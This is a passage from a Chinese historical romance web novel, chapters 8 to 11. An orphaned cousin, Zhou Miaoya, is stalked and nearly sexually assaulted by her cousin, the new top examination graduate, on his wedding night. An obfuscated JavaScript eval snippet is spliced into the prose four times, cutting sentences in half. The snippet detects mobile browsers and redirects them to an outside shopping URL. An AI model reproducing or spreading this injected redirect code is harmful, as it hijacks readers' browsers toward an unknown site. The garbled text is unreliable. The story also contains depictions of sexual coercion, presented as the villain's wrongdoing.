老太太说的兴致勃勃,全然沉浸在自己设想的完美图景之中:“雅儿那孩子,自小养在我跟前,模样性情、书画才情都是顶好的,配瑜哥儿也是绰绰有余。如此,他们兄弟二人都在京城,互相有个照应,我也就彻底放心了。” 孙嬷嬷听着,脸上维持着恭顺的笑容,连连点头称是:“老太太思虑周全,真是两位少爷和表小姐的福气。” 然而心底却是一片冰凉,暗道:我的老太太哟,您这盘棋打得是好,只怕…只怕世事未必能如您所想般顺遂圆满啊。大少爷对表小姐那心思…那夜那般情状…岂是肯轻易放手,让她嫁给二少爷的? 她想起文毓瑾离去时那冰冷警告的一瞥,又想起周妙雅那惊惧无助的模样,心中忧虑更甚。这表面和睦的文家深宅之下,早已暗流汹涌。 可她一个下人,深知主家事,尤其是这等涉及子孙名誉和家族体面的事,岂容她一个奴仆置喙?即便看出些苗头,没有真凭实据,也只能将这些疑虑和担忧死死压在心底,半点不敢流露。 于是,她只能顺着文老太太的话头,笑着道:“若能如此,真是天大的喜事。但愿菩萨保佑,一切皆如老太太所愿,顺顺利利,圆圆满满。” 只是那但愿二字,说得格外轻,也格外没有底气。 她低下头,默默地为文老太太续上参茶,将所有的担忧都化作了无声的叹息,湮灭在氤氲的茶香里。 8. 第八章 自文大郎与文二郎离了苏州,偌大的文府仿佛连空气都变得轻盈舒缓了许多。压在周妙雅心头那座无形的大山骤然移开,她终于得以喘息,过一段称心快乐的好日子了。 再不必时刻提防那落在身上充满掌控欲的目光,再不必担心在祖父的书房里作画时,会有人悄无声息地靠近,带来令人窒息的指点,也再不会被那看似温润实则冰冷的言语刺得遍体鳞伤。 她像是久困樊笼的雀鸟,终于得以振翅,虽不能远走高飞,却也在这一方天地里寻回了些许自在。 每日里,她或是埋首于书房,潜心临摹祖父留下的画稿,笔意酣畅,无人打扰,或是与闺中好友书信往来,诗词唱和,虽不免些少女闲愁,却也风雅有趣。 兴致来时,便调色研墨,对着庭中盛放的夏荷秋菊写生,将满腔无人可诉的心事,细细描摹进笔墨丹青之中。 最让她快活的,是得了文老太太的允许,偶尔能带着白芷出门,或是去观前街的绸缎庄挑选时新的料子,或是去桃花坞寻访眠云堂的仇氏父女切磋画技,有时也只是单纯地去城外的灵岩山、天平山走走,看看那满山红叶,听听古寺的钟声。 只是,每次出门,她必会戴上一顶垂至腰际的轻纱帏帽,将那过于惹眼的容貌严严实实地遮掩起来。轻纱拂动,虽隔开了外界探究的视线,也让她看出去的天地都蒙上了一层模糊的灰霭。 白芷有时会小声嘟囔:“小姐,这帏帽闷得慌,况且如今大少爷二少爷都不在…” 周妙雅却只是轻轻摇头,隔着纱幕望向街市熙攘人流,声音低而清晰:“小心些总是好的。” 李公子那日的眼神,文毓瑜恶意的推搡,文毓瑾近乎疯狂的占有欲…这些都如同烙印,提醒着她这份快活是何等脆弱,她的平安喜乐又是系于何等微妙的平衡之上。她不能再给任何人以口实,不能再招惹任何是非,这顶帏帽,是她为自己筑起的单薄屏障。 纵有这层顾忌,能走出那深宅大院,呼吸一口自由的空气,看看外面的天光云影,于她而言,已是莫大的享受。帏帽之下,她的唇角时常会不自觉地微微扬起,连脚步都变得轻快了许多。 这其中,周妙雅拜访最多的地方,便是桃花坞中的眠云堂。 这眠云堂并非商铺,乃是文老太爷生前所收一位拜师学画的门人仇方所设的画室。 仇先生的画艺得文老太爷真传,尤擅山水人物,为人清雅澹泊,不慕名利,只在此处潜心作画,教授几个得意弟子。 其女仇珍,年岁与周妙雅相仿,自幼随父习画,天分极高,笔下山石林木颇具乃父之风,灵秀处甚至更胜一筹。 因着这层师门渊源,又皆是痴迷书画的闺阁女子,周妙雅与仇珍极为投缘。文老太爷在世时,她便常随祖父来此,祖父与仇先生论画,她便与仇珍在一旁安静聆听,或是一同临摹稿本。文老太爷过世后,她与仇珍的情谊并未断绝,反而愈发深厚。 这日,周妙雅又得了祖母首肯,前往眠云堂,她依旧戴着那顶轻纱帏帽,白芷在一旁小心扶着。 入了画室,便见仇珍正立于一张大画案前,对着眼前一幅未干的山水画凝神思索。见周妙雅进来,她立刻放下笔,脸上绽出真切欢喜的笑容,迎了上来:“妙雅,你来了!快来看看我这幅新作的《松山高隐图》,正卡在这山涧云气的处理上,总觉得少了些灵动之感。” 周妙雅解下帏帽递给白芷,走到画案前细细观瞧,只见画中山径幽深,高士策杖而行,意境已是不俗。她沉吟片刻,指尖虚点画上山涧处:“珍姐姐的笔力自是极好的,只是这云气,若不用勾勒,而改以淡墨层层渲染,趁湿破以少许浓墨,使其自然渗化,是否更能得氤氲朦胧,虚实相生之趣?” 仇珍闻言,眼眸一亮,抚掌笑道:“妙啊!果真还是你有灵性,一语点醒梦中人。父亲前日还夸你于用墨一道上悟性非凡,深得师祖墨分五彩之精要呢。” 两人相视一笑,便一同研墨调色,探讨起笔墨技法来,一个沉稳细腻,一个灵秀大胆,往往能碰撞出意想不到的火花。 画室中墨香萦绕,只剩下笔尖触及宣纸的沙沙声和偶尔的低语轻笑。 周妙雅每次都会在眠云堂待上许久,才依依不舍地与仇珍道别,两人还相约如果文老太太同意,就一起去城郊山里写生。 这日天气晴好,两人禀明了家中,带了画具、食盒,并几个稳妥的仆妇丫鬟,一同往天平山去。 山下有茶棚,仆妇们在此等候,周妙雅与仇珍则各由自己的丫鬟陪着,择了一处视野开阔、又有古松遮阴的缓坡,铺开毡垫,摆开画具。 山风拂过,带来松涛与野花的清香,远处层林尽染,红枫似火,与青松翠柏相映成趣。 仇珍很快便沉浸其中,笔下行云流水,捕捉着山峦的脉络。 周妙雅却并未立刻动笔,她微微仰起头,感受着微风拂过面颊的轻柔,深深吸了一口自由的,带着草木清香的空气。帏帽早已摘下,放在一旁,阳光透过枝叶缝隙,照在她莹白的脸上。 她闭上眼,复又睁开,这才提笔蘸墨,目光变得专注而明亮。笔锋在宣纸上游走,不再是文府高墙内的小心翼翼,而是带上了山野的灵气与奔放。她不仅画山画树,还将天际掠过的一行飞鸟也纳入了画中,生机盎然。 “妙雅,你看那边山石…” 仇珍画到一半,侧过头来想与好友探讨,却见周妙雅神情专注,唇角含着一丝轻松惬意的微笑,整个人仿佛在发光一般,与在文家时的惊怯判若两人。 仇珍心下微微诧异,却只当她是因为出门而心情愉悦,便也笑了,不再打扰,只暗自觉得,此刻的妙雅,比这满山的秋色还要动人几分。 直至日头偏西,仆妇前来催促,两人才依依不舍地收拾画具,互相品评着对方的画作,说着下次要去何处写生,笑声洒满了下山的石阶。 ————— 文老太太见周妙雅气色日渐红润,眉眼间的郁结也散开了,只当是孙儿们离去后,她心境开阔了些,更是乐得见她如此。 孙嬷嬷冷眼瞧着文大郎离府后周妙雅的变化,心下那点残存的、模糊的猜疑彻底烟消云散,取而代之的是一种更深沉的忧虑。 先前那夜惊魂,她虽撞破尴尬,见大少爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922318|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情动之态,也见表小姐泪落如雨、衣衫不整,心下不免猜测纷纭。 在这深宅大院,丫鬟爬床、表妹勾引表哥的事并非稀奇。她甚至暗自揣度过,是否表小姐面上抗拒,内里却也存了攀附嫡长、一步登天的心思,不过是半推半就,玩那欲擒故纵的把戏?毕竟,大少爷那般人物,家世、才貌、前程,样样都是顶尖的,有几个少女能毫不心动? 可如今,她看得真真切切。 大少爷一走,表小姐就像是换了个人,并非那种失了倚靠的惶惑失落,而是真真切切、从骨子里透出的轻松快活。 她眉宇间常年笼罩的那层薄雾消散了,眼眸变得清亮,笑容也多了起来,虽依旧温婉,却添了几分鲜活的生气。 她潜心作画,与丫鬟说笑,甚至戴着帏帽出门时,那脚步轻盈得几乎要雀跃起来。 这绝非一个心中藏着绮念、期盼情郎归来的女子该有的情状,这分明是甩脱了沉重枷锁、呼吸到自由空气的模样。 孙嬷嬷至此是完全明白了,那夜,只怕从头到尾,都是大少爷一人的强取豪夺,表小姐是真真切切地怕、真真切切地不愿,那份惊恐与抗拒,没有半分作假。 想通了这一点,孙嬷嬷背后不禁沁出一层冷汗,她伺候文老太太多年,几乎是看着文毓瑾长大,深知这位大少爷温和儒雅外表下,是何等的骄傲自负。 他想要的,从未有得不到的,如今他既对表小姐存了这等心思,甚至不惜酒后用强,又岂会因离开一段时间就轻易放手? 表小姐现下这般快活,在孙嬷嬷看来,无异于暴风雨前短暂的宁静,是偷来的时光。大少爷如今人在京城,心思多半用在科举仕途上,暂且无暇他顾。可一旦他功成名就,站稳脚跟…届时,他会如何对待这个他志在必得、却对他毫无心思甚至避之唯恐不及的妹妹? 老太太那头还做着兄弟和睦、双喜临门的美梦,却不知大少爷早已将表小姐视为禁/脔,岂容他人染指? 将来这文府,怕是免不了一场风波,而夹在其中的表小姐,无父无母,孤苦无依,她的日子…怎可能会好过? 她只能将这份沉重的担忧死死压在心底,同时,也暗自祈祷,盼着京中的大少爷能被繁华迷眼,得了更好的姻缘,或许…或许就忘了苏州老家这个他未能得手的妹妹了。 ———— 转眼间,春闱结束,殿试已过,在一个阳光和煦的清晨,文府的大门被人哐哐哐地敲响。 下人急忙披上外衣,前去开门。 “文老夫人,快出来迎旨吧!你家大郎高中了!你家大郎中状元了!” “文老夫人,圣上钦点的状元郎,亲自下旨,要他迎娶康首辅家的千金!” 外面的报喜声此起彼伏,引得文老太太连头都没梳好,就慌忙下地,来了前厅。 文府下人们也闻讯而来,纷纷传递着喜讯。 不到半日,文毓瑾高中状元、被钦点为首辅乘龙快婿的消息似惊雷般炸响整个苏州城。文府门前车马络绎不绝,仆从奔走相贺,言语间皆是与有荣焉。 “状元郎!首辅千金!天造地设!” 9. 第九章 在文府甚至整个苏州城的喧嚣声浪中,周妙雅在文府一隅倚着窗,望向窗外园林的景色。 她长舒了一口气,文大郎即将高娶首辅千金,既已寻得了门当户对,又能助他平步青云的良缘,他应该就可以放过她了吧。 她此生只想与画为伴,孤室中一盏青灯,足矣。 前厅突然传来文老太太的朗笑声:“快,着人去库房,将我那紫檀木匣寻来。” 只见老人家满面红光,精神抖擞,正在指挥仆妇收拾箱笼,连多年不动的嫁妆都抬了出来。 文老太太见周妙雅走了过来,立刻拉住她的手,慈爱道:“好孩子,快帮祖母瞧瞧,这套金镶红宝石的头面,送给康小姐做见面礼可好?咱们文家,可不能失了礼数。” “祖母是要进京亲自主持大哥哥的婚事吗?”周妙雅扶着文老太太,轻声问道。 文老太太笑道:“那是自然,这次祖母也带你去京城见见世面,说起来,祖母也是很多年没去京城了,不知道京城那些老姐妹们,现在都怎么样了。等咱们到了京城,祖母定要带你一一拜访她们,也让京城的贵夫人们都瞧瞧,我的小孙女儿现在这样落落大方。” 紧接着她又叹道:“瑾儿争气,祖母心里这块大石总算是落了地,接下来就该操办你和瑜儿的喜事了。” 她絮絮地说着要带哪些苏州特产送京中故旧,要带哪些料子给孙儿们做衣裳,连眼角的笑纹都盛着光。 周妙雅听着,心中一沉,但也不好拂了文老太太的兴致,只能硬着头皮,帮文老太太一起忙活了起来。 次日清晨,文府门庭若市,苏州的御史巡抚夫人、知府夫人、同知夫人、督粮道夫人、织造局管事夫人、本地乡绅家的女眷…很多当地的亲贵都来亲自给文老太太送行,文老太太穿着簇新的诰命礼服,与众人执手话别。 “老夫人此去京城,那是享福去了!” “待大少爷婚后,老太太回了苏州,也别忘了请我们这些乡里乡亲们吃上一桌喜酒。” “二郎的喜事想必也将近了吧?到时候可要双喜临门才好!” 文老太太被众人说的笑逐颜开,连声应承着:“好!好!一定!一定!自然!自然!” “待大郎婚事办妥,紧接着就办瑜儿和雅儿的,两个孩子自小就定的娃娃亲,自然是要作数的!” 周妙雅垂首立在文老太太身后,摆弄着手里的帕子,指尖掐入掌心,那些贵夫人们上下打量着她,仿佛认定她已是文府的二少奶奶。 车马终启程时,足足装了十大车的东西,另聘请了镖局亲自护送。 文老太太带着周妙雅坐进了最宽敞的那辆马车,车中布置华丽且舒适,家仆们怕一路颠簸,文老太太年事已高,长途跋涉的不舒服,在车里都垫了厚厚的锦褥。 马车驶出姑苏城门,老太太仍不住回望,眼中噙着期盼的泪:“祖宅虽好,但终不如儿孙在旁,此去京城,祖母定要看着你们都成家立业,老太太我,也能安心去见你们祖父了。” 此去京城,沿着运河一路北上,路途漫长,文老太太大多时候是昏睡着,醒着的时候都会细细盘算:文家在京城有座大宅,她们抵京安置后,要如何去康府拜会,婚礼需要请哪些宾客,新房该用哪些摆设…文老太太想到哪,都让周妙雅一一记下,老太太年岁高,爱忘事,指不定什么时候想起哪些,都需快快记下来,以防过后又忘记了。 文老太太说到兴起时,又会拉住周妙雅的手,含笑道:“康小姐是首辅千金,婚礼的排场自有康家操心,倒是你和瑜儿…” 她慈爱地摩挲着少女细嫩的手背:“瑜儿将来也是要在京里谋个差事的,祖母想着啊,你们的婚礼就在京里办,虽比不上你大哥的隆重,但也要风风光光的,你虽无父无母,但文家也绝对不会亏待你的。” 周妙雅浅笑应着,心却不停往下沉,文二郎心性扭曲,以后的日子,终也不会好过。 夜深宿驿时,文老太太因易席难眠,索性坐起与守夜的周妙雅私语。 烛火摇曳,映着老人对未来的憧憬:“等瑾儿成了亲,我就把中馈交给康家小姐去管,她那样门第出来的姑娘,定然持家有方,到时祖母也能落个清闲,安享晚年。到时你和瑜儿定要多帮祖母生几个孙儿,祖母也好早日享受四世同堂的好日子。” 文老太太笑着,忽又想起了什么,压低声音道:“瑜儿虽顽劣些,但心性不坏,你要多担待他些,往后他若有不是,祖母替你教训他。” 周妙雅望着烛光下老人殷切的目光,心中五味杂陈,所有推拒的言语都堵住喉间,只能哄着老人家快快入睡,说明日还要赶路。 水路走了月余,终于是到了京城,通州码头下船,复又换了马车往城里走。 喧嚣鼎沸的人声逐渐淹没了车队,周妙雅掀开车帘一角,宽阔平整的官道上,车马行人络绎不绝。 她向远处望去,巍峨高耸的城墙如山岳般横亘于天地之间,京城扑面而来的磅礴、宏大、威严,与苏州的精致婉约截然不同。 文老太太被惊醒,她凑到窗边,看着比苏州的城门还高出一倍的城墙,激动地眼眶微湿:“到了,总算是到了,京畿重地,天子脚下,果然非同凡响。” 车队在文家位于城西的大宅子前停下,御赐“天下文脉”的匾额上,还挂着大红绸缎,庆祝着文大郎高中状元的喜事。 安顿之初,甚是忙乱,卸行李、归置物品、拜会邻里…文老太太虽精神不济,却也强撑着主持大局,事事都要过问,唯恐失了礼数。 周妙雅跟在文老太太身边,安静地帮忙打理内务,登记造册,将长途跋涉带来的苏州特产分门别类,待日后送人。 是日,门房忽然疾步来报,声音都带着颤:“老太太,老太太,大少爷…状元郎回府了!” 文老太太此刻正由周妙雅陪着,查点给康家的礼单,她闻言手一抖,全也顾不上单子从手中滑落,猛地起身,声音发颤:“到哪了?” “仪仗已经到街 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922319|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口了!”门房笑盈盈地回道。 文老太太激动地攥住周妙雅的手臂,连声道:“快!快扶我出去,瑾儿回来了,我的状元孙儿回来了!” 周妙雅的心猛的提到了嗓子眼,这是她对不愿面对的人,她只希望文大郎定亲以后,不要再对她有不切实际的肖想,以及…不要再对她动手动脚。 她强迫自己镇定下来,搀扶着几乎站不稳的文老太太,一步步向大门口走去。 门外已是人声鼎沸,锣鼓喧天,新状元归家,自是极大的排场,前后皆有官兵护卫着,沿途围观的街坊邻居,无一不投来艳羡的目光。 那队伍正中,高头骏马之上,端坐一人,他身着大红色的锦袍,头戴乌纱帽,肩上覆着织金的披红,帽上簪着的是御赐的金花,阳光撒在他身上,将那金线映的格外耀眼,也衬的他本就俊朗的眉目愈发矜贵逼人。 那正是状元郎文毓瑾。 他面带微笑,从容地向道路两侧的百姓颔首致意,姿态优雅,一举一动皆符合世人对于状元郎的所有想象,甚至更完美。 文老太太已是老泪纵横,她拉着周妙雅的手,踉跄着迎了上去。 文毓瑾早就远远望见站在府前的祖母了。 只见他利落翻身下马,疾步跨到文老太太面前,撩袍便拜:“孙儿不孝,让祖母惦念了。” “快起来!快起来!我的好孙儿!”文老太太泣不成声,忙不迭地弯腰去扶。 文毓瑾顺势起身,搀住祖母,目光温润,语气谦和:“一路劳顿,祖母辛苦了,是孙儿不孝,未能亲迎。” “这是说的什么话!你可是给文家光宗耀祖的!”文老太太拉着他的手,慈爱的上下打量自己的爱孙,怎么看也看不够。 这时,文毓瑾的目光才仿佛不经意地,越过祖母的肩头,落在了她身后那个低垂着头、极力减少存在感的纤细身影上。 他的目光在她身上停留了一瞬…那一瞬,就那一瞬,周妙雅感受到了他眸中直白的情绪。 那是一种…已经登顶的王者,在俯瞰自己领地中已被标记好的猎物。 周妙雅下意识地打了一个寒战,她自己都没有察觉到,只是那一瞬,让她身体下意识地出现了反应,她感受到的冷比寒冬的风更刺骨。 她下意识地将头垂得更低,手指紧紧绞着衣角。 文毓瑾若无其事地收回了目光,脸上重新挂起完美的、温文尔雅的笑容,柔声对文老太太道:“祖母,外面风大,我们先进府吧,孙儿还有许多话要同祖母说。” “好,好,进府,进府!”文老太太笑的合不拢嘴,迭声应着,二人被众星捧月般簇拥着进了大门。 周妙雅站在原地,仿佛被遗忘了似的,周遭的喧嚣、喜庆,都与她无关。 她脑海中不断盘旋着文毓瑾离开苏州前的那一夜,他覆下的阴影,他炙热的体温,他对她说要将她打上他的烙印,以及…他滚烫挺着的那处… 他好似…并没有想要放过自己。 10. 第十章 文毓瑾与康婧瑶的婚礼,极尽盛大奢华。 新科状元郎迎娶首辅嫡女,堪称京城最轰动的盛事。 迎亲那日,十里红妆,仪仗煊赫,从康府至文府的道路红毡铺地,围观百姓摩肩接踵,喧哗鼎沸,皆欲一睹状元郎的风采,沾一沾这滔天的贵气。 孩童们追着队伍捡拾铜钱喜糖,欢笑声、艳羡声、锣鼓唢呐声交织在一起,好一派欢天喜地。 婚礼设于文府京邸的正堂,所到宾客皆是京中勋贵、清流名臣。堂内红烛高照,喜幔低垂,珍馐罗列,觥筹交错间,尽是恭维道贺之语。 周妙雅作为妹妹,需恪守本分。 她穿着一身得体却不惹眼的淡粉色衣裙,垂首跟在满面红光的文老太太身后,帮忙应酬女眷,引座斟茶。 她将自己缩成一道模糊的影子,极力降低存在感,却仍觉有一道滚烫的目光,时时黏附在她身上。 无需抬头,她也知道来自何人。 新郎官文毓瑾身着大红吉服,更衬得面如冠玉,身姿挺拔。 他应对得体,笑容温雅,与宾客周旋时从容不迫,俨然已是京中新贵的气度。 然而,每当周妙雅试图将自己藏入人群阴影中时,那目光总会精准地掠过人群,落在她身上。 而另一端,新娘子康婧瑶着翟冠霞披,由喜娘搀扶着,行止间环佩叮当,姿态无可指摘。 大红盖头之下,无人能窥见她的神情,只看得见一双纤纤玉手,交叠于身前。 唯有她自己知道,这桩看似风光无限的婚姻,内里是何等冰凉。 她虽是首辅康敏之的嫡女,其生母却早已过世,康敏之专宠妾柳氏,连带着柳氏所出的子女都比她这个嫡女更得脸面。 康婧瑶平生最恨妾室,是因为她心中带着对父亲宠妾灭妻的恨,带着对柳氏母子夺走她嫡女的身份与一切待遇的恨。 此次联姻,不过是父亲康敏之精心布局的一步棋,他需要文家天下文脉的清誉来装点门面,巩固自己在士林学子和清流官员中的地位,而她,只是父亲用来换取政治资本的工具。 她清晰地记得出嫁前,父亲难得来到她房中,言语间无半分慈爱,唯有冰冷的告诫:“文家清贵,于为父大业有益,你嫁过去,需恪守妇道,早日为文家开枝散叶,稳固地位,切记,你的荣辱,皆系于康家之兴衰。” 至于那状元郎文毓瑾长相、品性如何,她是否愿意,从不在她父亲的考虑之内。 直到送入洞房,周遭喧嚣稍减,康婧瑶端坐于铺满红枣、花生、桂圆、莲子的喜床上,听着窗外隐约传来的宴饮欢笑,心底却是一片冰冷与沉寂。 这冰冷与沉寂竟然持续了一夜,本该是春宵一刻值千金的洞房花烛夜,直到天边吐白,新郎官都没有出现过一刻… ———— 自进京与文毓瑾重逢的那日起,周妙雅便给自己下了一道铁律,绝不与文毓瑾单独相处。 白日里,她寸步不离地跟在文老太太身边,或帮忙打理家务,或陪着说话解闷,将自己彻底嵌入祖母的日常轨迹里,成为一道沉默而忙碌的背景。 入夜后,她便以祖母年迈,需人夜间随时照应为由,宿在文老太太卧房的外间暖榻上,唯有在祖母平稳的呼吸声隔着屏风传来时,她才能感受到可以安心入睡的安全感。 她天真地以为,这深宅内院,众目睽睽,文毓瑾纵然有滔天的权势,总也要顾忌新婚燕尔,顾忌官声体面。 然而,她低估了文毓瑾的狂妄与偏执。 大婚之夜,文府的红烛燃得正旺,宾客的喧闹声犹在耳畔,谁也没料到,本该在洞房花烛、温香软玉的新郎官,竟会出现在祖母院落的廊下。 他一身大红喜服尚未换下,身上带着浓重的酒气,眼底却是一片骇人的清明,以及一种近乎疯狂的、摧毁一切的欲望。 征服了科场,联姻了权势,今夜,他要用一种极端的方式,来碾碎另一个他始终未能彻底征服的猎物,来宣告他绝对的掌控力。 他挥退了廊下昏昏欲睡的小丫鬟,如同鬼魅般,悄无声息地推开了外间的门。 周妙雅正欲解衣歇下,闻声猛地回头,一见是他,脸色霎时惨白,下意识地便要惊呼出声。 文毓瑾动作快如闪电,一步上前,一只带着凉意和酒气的大手死死捂住了她的嘴,将所有的惊叫都堵了回去,另一条手臂则如铁钳般箍住她的腰,将她整个人拖离地面,按坐在冰冷的梨花木桌沿上。 “唔…!”周妙雅瞳孔骤缩,拼命挣扎,双腿胡乱踢蹬,却撼动不了分毫。 “别出声。” 他俯身逼近,滚烫的、带着酒气的呼吸喷在她的耳侧,声音低沉沙哑,充满了危险的警告:“祖母就在里面,你想把她老人家惊起来,看看她最疼爱的孙儿和孙女儿在做什么吗?” 这句话瞬间冻住了周妙雅所有的动作,她可以不顾自己,却不能不顾及祖母,若让祖母亲眼见到这一幕…她老人家如何能承受得住? 见她停止挣扎,文毓瑾眼底掠过一丝得逞的狞笑,捂着她嘴的手略松了力道,指尖却恶劣地抚过她颤抖的唇瓣,另一只手竟沿着她的脊背向下滑去。 “今夜是我的好日子…” 他嗓音喑哑,狎昵低语:“但春宵一刻,岂能忘了我的好妹妹,嗯?” 周妙雅浑身剧烈地颤抖起来,她猛地偏开头,避开他的触碰,泪水夺眶而出。 文毓瑾却不允许她躲闪,手指加重力道,捏住她的下巴,迫使她转回脸,直面自己,他盯着她泪眼婆娑、写满惊惧与厌恶的小脸,一种扭曲的快意油然而生。 “怕什么?” 他低笑,语气却冰冷刺骨:“用手而已,全了你我的兄妹之情,也全了你的清白。” 这话如同最肮脏的羞/辱,狠狠砸在周妙雅脸上,她霎时瞪大了眼睛,难以置信地看着眼前这个衣冠禽兽,剧烈的愤怒和屈辱瞬间压过了恐惧。 “畜生…!”她从齿缝间挤出破碎的骂声,用尽全身力气想要推开他,指甲在他手背上划出红痕。 她的反抗彻底激怒了他,文毓瑾眼神一厉,捂着她嘴的手再次用力,几乎让她窒息,另一只手则开始粗暴地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922320|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉扯她的衣带。 周妙雅绝望地呜咽着,拼死抵抗,她知道,一旦屈服,等待她的将是万劫不复的深渊,她宁死也不要受此屈辱。 两人在寂静的夜里无声地角力,身体碰撞间,桌沿上的茶盏被扫落在地,发出“啪”一声脆响。 声音虽不大,但在万籁俱寂的夜里却格外清晰。 里间立刻传来文老太太模糊而惺忪的询问声:“…雅儿,是什么声响…?” 所有动作骤然停止。 文毓瑾身体猛地一僵,眼底汹涌的欲望被瞬间压下,换上极度的不耐烦和恼恨。 周妙雅心脏狂跳,几乎要跃出胸腔,她屏住呼吸,一动不敢动。 好在文老太太只是翻了个身,嘟囔了一句,并未真正醒来,均匀的呼吸声很快再次传来。 僵持仍在继续,文毓瑾显然不愿就此罢手。 周妙雅趁他分神留意里间动静的刹那,用眼神死死瞪着他,压低了声音,每一个字都带着泣血的决绝:“你…若再逼我…我立刻咬舌自尽…惊动祖母…大家…一起完蛋。” 她的眼神那般疯狂而坚定,没有丝毫转圜的余地,文毓瑾毫不怀疑,若再进一步,她真的会做出极端之事。 在这新婚之夜,在祖母院中,逼死名义上的妹妹…这滔天丑闻,即便是他也无法轻易压下。 权衡利弊,那股疯狂的冲动终于被理智强行压了下去。 他极不甘心地松开了钳制,缓缓直起身,整理了一下自己微乱的喜服袖口,又恢复了那人模狗样的状元郎姿态,只是看向周妙雅的眼神,阴鸷得能将她活活烧死。 “很好。” 他扯出一个冰冷的笑容,声音低得只有两人能听见:“我们…来日方长。” 说罢,他最后瞥了一眼蜷缩在桌上、衣衫凌乱、瑟瑟发抖的周妙雅,转身,悄无声息地退出了房间。 门轻轻合上。 周妙雅猛地从桌上滑落,瘫软在冰冷的地面上,捂住嘴,无声地痛哭起来,全身止不住地剧烈颤抖。 一帘之隔,文老太太依旧沉睡着,对刚刚在外间发生的、险些颠覆一切的惊涛骇浪,浑然未觉。 ———— 康婧瑶的新婚之夜,独自枯坐在喜床上一整夜,大红盖头早已被她亲手取下。 外间传来轻微的脚步声,是负责伺候她的文府大丫鬟春桃端着洗漱水进来了,春桃见她端坐不动,忙放下铜盆,屈膝行礼:“少夫人,您醒了,一夜没合眼,要不要先用些温水?” 康婧瑶满心满火的怒气正不知往哪里撒,她见春桃还有几分姿色,更是气不打一处来,抬手直接掀翻铜盆,径直给了春桃一巴掌。 春桃不知自己犯了什么错,忙伏地求饶:“少夫人息怒…少夫人息怒。” 康婧瑶的陪嫁嬷嬷李氏闻讯赶来,她一边轻轻抚着自家小姐的背,一边厉声问春桃:“大少爷昨夜宿在哪里?” 春桃忙磕头跪地求饶:“回…回少夫人的话…奴婢…奴婢昨夜也未见大少爷,只…只听说他去了老太太院里…似是…似是去尽孝心了…” 11. 第十一章 “尽孝心?” 康婧瑶气得浑身发抖,声音尖利:“新婚之夜撇下新妇去尽孝心?这文家的规矩,当真是别致得很!” 她几乎要咬碎一口银牙,这羞辱,比独守空房更甚百倍。 李嬷嬷到底是经年的老人,只见她眼神一凛,心中已猜到了七八分。 她挥挥手让吓得魂不附体的春桃退下,关上房门,这才压低声音对康婧瑶道:“小姐,您先消消气,这事…恐怕没那么简单。” “嬷嬷此话何意?” 康婧瑶怒目圆睁,满是疑惑:“老太太在房里,他即便去了,又能做什么?” 李嬷嬷凑得更近些,与她耳语道:“我的傻小姐哟,老太太年事已高,夜里自是深眠,那外间…可是住着人的…” “住着人?谁?”康婧瑶一时没反应过来。 “就是苏州来的那位表小姐啊。” 李嬷嬷语气笃定:“老奴昨日瞧着就不对劲,那模样生得…啧啧,眉梢眼角自带一段风流,偏偏又作出一副弱不禁风、我见犹怜的情态,老奴在深宅大院几十年,看得多了,这等颜色的表妹,最是祸水。” 康婧瑶如遭雷击,瞬间愣在当场。 父亲宠妾灭妻、柳氏那狐媚子勾引父亲的画面瞬间涌入脑海,与表小姐、绝色、宿在老太太外间这些信息交织在一起,在她心中猛地燃起了一股滔天的妒火。 “原来…原来如此。” 她攥紧了手中的帕子,指甲几乎嵌进肉里,骂道:“好一个道貌岸然的状元郎,好一个不知廉耻的表小姐,竟在新婚之夜就做出这等苟且之事!” “小姐慎言!” 李嬷嬷忙按住她的嘴:“无凭无据,这话万万不可说出口,如今您是文家明媒正娶的大少奶奶,身份尊贵,犯不着为了一个上不得台面的东西,自降身份,反倒惹得老太太和姑爷不快。” 她眼中闪过精明的算计:“咱们眼下,一动不如一静,您啊,先按捺住性子,打扮得雍容华贵,去给老太太请安,尽了新妇的本分。顺便…也好好瞧瞧那位表小姐,究竟是怎样的红颜祸水。” “若老太太是个明白人,一心护着您这正头孙媳,那自然最好。若…若老太太也是非不分,一味偏袒那狐媚子…” 李嬷嬷冷笑一声:“那咱们再从长计议,总之,绝不能在新婚之初就失了老太太的欢心和一个理字。” 康婧瑶深吸一口气,强行压下心中的怒火。李嬷嬷的话点醒了她,是啊,她是康家嫡女,是文家三书六礼聘回来的宗妇,岂能像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 